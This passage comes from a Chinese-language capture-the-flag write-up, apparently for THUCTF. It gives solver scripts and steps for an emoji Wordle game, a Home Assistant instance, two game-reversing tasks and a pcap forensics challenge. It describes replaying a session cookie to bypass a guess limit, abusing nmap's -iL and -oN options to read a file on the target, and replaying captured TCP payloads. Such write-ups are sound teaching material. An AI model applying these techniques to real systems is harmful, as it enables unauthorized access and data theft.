emoji_list = []
for i in range(1, 50):
# Send the GET request
response = requests.get(url + '/level1')
# Check if the request was successful (status code 200)
if response.status_code == 200:
print("GET Request was successful")
# Parse the HTML content with Beautiful Soup
soup = BeautifulSoup(response.text, 'html.parser')
# Find the input box by its attributes, such as 'name', 'id', or 'class'
input_box = soup.find('input', {'name': 'guess'})
if input_box:
print("Input box found!")
# Access the 'placeholder' attribute and print it
placeholder = input_box.get('placeholder')
# print(f"Placeholder: {placeholder}")
for emoji in placeholder:
if emoji not in emoji_list:
emoji_list.append(emoji)
else:
print("Input box not found on the page.")
else:
print(f"GET Request failed with status code {response.status_code}")
print(emoji_list)
print(len(emoji_list))
# there are just 128 emojis in use
# try to guess the wordle: for flag1
wordle = [0] * 64
for i in range(128):
guess_value = ''.join([emoji_list[w] for w in wordle])
print(guess_value)
response = requests.get(url + '/level1' + '?guess=' + guess_value)
# Check if the request was successful (status code 200)
if response.status_code == 200:
print("GET Request was successful")
# print(response.text)
result = re.compile(r'results.push\("(.+)"\)').findall(response.text)[0]
print(result)
for i in range(64):
if result[i] == '🟥' or result[i] == '🟨':
wordle[i] = wordle[i] + 1
else:
print(f"GET Request failed with status code {response.status_code}")输入正确的 Emodle 即可获得 flag。
7. Emodle - Level2
Challenge:
一个由 emoji 组成的 Wordle 游戏。
Solution:
解析 cookie 中的 JWT 凭证,获得游戏答案,得到 flag。
Steps:
由于提示该题答案存储在会话中,所以先去查看 cookie,发现是 JWT 凭证;
利用网络上的 JWT 解码工具,得到正确答案;
输入正确答案,获得 flag。
8. Emodle - Level3
Challenge:
一个由 emoji 组成的 Wordle 游戏。
Solution:
记录请求所携带的 cookie,重放该 cookie,以达到无限猜测次数,然后同第一题求解方式相同。
Steps:
查看 cookie 中 JWT 存储的内容,不再是答案,而是剩余猜测次数;
由于 JWT 的签名无法篡改其内容,但是可以让请求包一直尝试携带剩余次数为 3 的会话 cookie 进行尝试,暴力破解得到正确答案,获得 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77import requests
from bs4 import BeautifulSoup
import re
# URL to send a GET request to
url = 'http://chal.thuctf.redbud.info:52468'
# try to collect the emoji the website is using
emoji_list = []
for i in range(1, 50):
# Send the GET request
response = requests.get(url + '/level1')
# Check if the request was successful (status code 200)
if response.status_code == 200:
print("GET Request was successful")
# Parse the HTML content with Beautiful Soup
soup = BeautifulSoup(response.text, 'html.parser')
# Find the input box by its attributes, such as 'name', 'id', or 'class'
input_box = soup.find('input', {'name': 'guess'})
if input_box:
print("Input box found!")
# Access the 'placeholder' attribute and print it
placeholder = input_box.get('placeholder')
# print(f"Placeholder: {placeholder}")
for emoji in placeholder:
if emoji not in emoji_list:
emoji_list.append(emoji)
else:
print("Input box not found on the page.")
else:
print(f"GET Request failed with status code {response.status_code}")
print(emoji_list)
print(len(emoji_list))
# there are just 128 emojis in use
# try to guess the wordle: for flag3
response = requests.get(url + '/level3')
# Check if the request was successful (status code 200)
if response.status_code == 200:
print("GET Request was successful")
# print(response.text)
hijacked_cookie = response.cookies['PLAY_SESSION']
wordle = [0] * 64
for i in range(128):
guess_value = ''.join([emoji_list[w] for w in wordle])
print(guess_value)
response = requests.get(url + '/level3?guess=' +guess_value, cookies={'PLAY_SESSION': hijacked_cookie})
# Check if the request was successful (status code 200)
if response.status_code == 200:
print("GET Request was successful")
# print(response.text)
result = re.compile(r'results.push\("(.+)"\)').findall(response.text)[0]
print(result)
for i in range(64):
if result[i] == '🟥' or result[i] == '🟨':
wordle[i] = wordle[i] + 1
else:
print(f"GET Request failed with status code {response.status_code}")
print(response.text) # now the flag is in html page
else:
print(f"GET Request failed with status code {response.status_code}")
9. 逝界计划
Challenge:
一个 Home Assistant 环境,可以通过网页端进行访问和配置。
Solution:
利用其中的 nmap 集成读取靶机上的 flag 文件。
Steps:
根据提示添加 nmap 集成,发现可以自定义 nmap 扫描命令;
搜索发现 nmap 可以通过 -iL 参数读取文件,若文件内容不是合法目的地址,则会将内容打印在报错信息里;
但是就算启用调试日志, home assistant 日志里也不会显示 nmap 报错信息;
所以需要想办法将 nmap 的扫描结果输出到文件里,搜索发现可以通过 -oN 输出扫描结果;
同时发现上传到媒体的文件,可以在 docker 容器的 /media 目录下找到
配置 nmap 将扫描结果输出到该目录下,再从网页上下载下来即可获得 flag,注意该目录只显示媒体文件类型;
五、Reverse
1. 汉化绿色版免费普通下载
Challenge:
一个可执行文件 game.exe,重复输入两次相同的字符串即可通关;
一个存储游戏资源的 data.xp3 文件;
以及记录游戏存档的 data0.kdt、datasc.ksd、datasu.ksd 文件。
Solution:
从 .xp3 中提取游戏源码,获得 flag。
Steps:
查询 .xp3 文件类型,下载 xp3tools 提取 data.xp3 文件获得源码;
浏览游戏源码,发现 scenario 文件夹下的代码记录了游戏运行逻辑,其中 done.ks 中写明如果输入正确则打印 flag。
Reference:
https://www.lifewire.com/xp3-file-2622577
2. 汉化绿色版免费高速下载
Challenge:
一个可执行文件 game.exe,重复输入两次相同的字符串即可通关;
一个存储游戏资源的 data.xp3 文件;
以及记录游戏存档的 data0.kdt、datasc.ksd、datasu.ksd 文件。
Solution:
从存档数据中推测出 flag 的各字母出现次数,再根据游戏源码的判断逻辑,计算得到 flag。
Steps:
从提取出的源码中,可以看出在一轮和第二轮输入中,会根据输入的字母计算 hash,最后比对 hash 值来判断两轮输入是否一致;
通过搜索,发现可以使用 KiriKiriTools 解码出存档数据;
从 data0.kdt 中看到出题人第一轮输入的 hash 为 7748521;
通过多次存档对比发现,datasu.ksd 中的数据记录了事件次数,得到出题人在第一轮按了 6 个 A、3 个 E、1 个 I、6 个 O,全排列计算其hash,得到符合要求的输入即为 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35def permutation(S: str):
n=len(S)
if n==0:
return [""]
res=[]
for i in range(n):
if S[i] in S[:i]: #只需判断S[i]是否在S[:i]中出现过即可
continue
for s1 in permutation(S[:i]+S[i+1:]):
res.append(S[i]+s1)
return res
possible = permutation(1 * 'I' + 6 * 'A' + 3 * 'E' + 6 * 'O')
def hashhash(s):
h = 1337
for chr in s:
if chr == 'A':
h = (h * 13337 + 11) % 19260817
elif chr == 'E':
h = (h * 13337 + 22) % 19260817
elif chr == 'I':
h = (h * 13337 + 33) % 19260817
elif chr == 'O':
h = (h * 13337 + 44) % 19260817
elif chr == 'U':
h = (h * 13337 + 55) % 19260817
h = (h * 13337 + 66) % 19260817
return h
for p in possible:
if hashhash(p) == 7748521:
print(p)
# OOAAAAEAEIEAOOOO
Reference:
https://github.com/arcusmaximus/KirikiriTools
六、Forensics
1. Z 公司的服务器
Challenge:
一个流量记录 zserver.pcapng。
Solution:
重放数据包中的字节,获得服务器响应的 flag.txt。
Steps:
用 netcat 连接远程环境,收到无意义字节,与所给流量中数据包 TCP 载荷相同;
尝试重放流量包中另一方发送数据包的 TCP 载荷,后收到响应的 flag.txt 文件。
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
if __name__ == '__main__':
context.log_level = 'debug'
p = remote('chal.thuctf.redbud.info', 52470)
# replay the pcap
res = p.recv()
p.send(bytes.fromhex('2a2a184230313030303030303633663639340a0a'))
res = p.recv()
p.send(bytes.fromhex('2a2a184230313030303030303633663639340a0a2a2a184230393030303030303030613837630a0a'))
res = p.recv()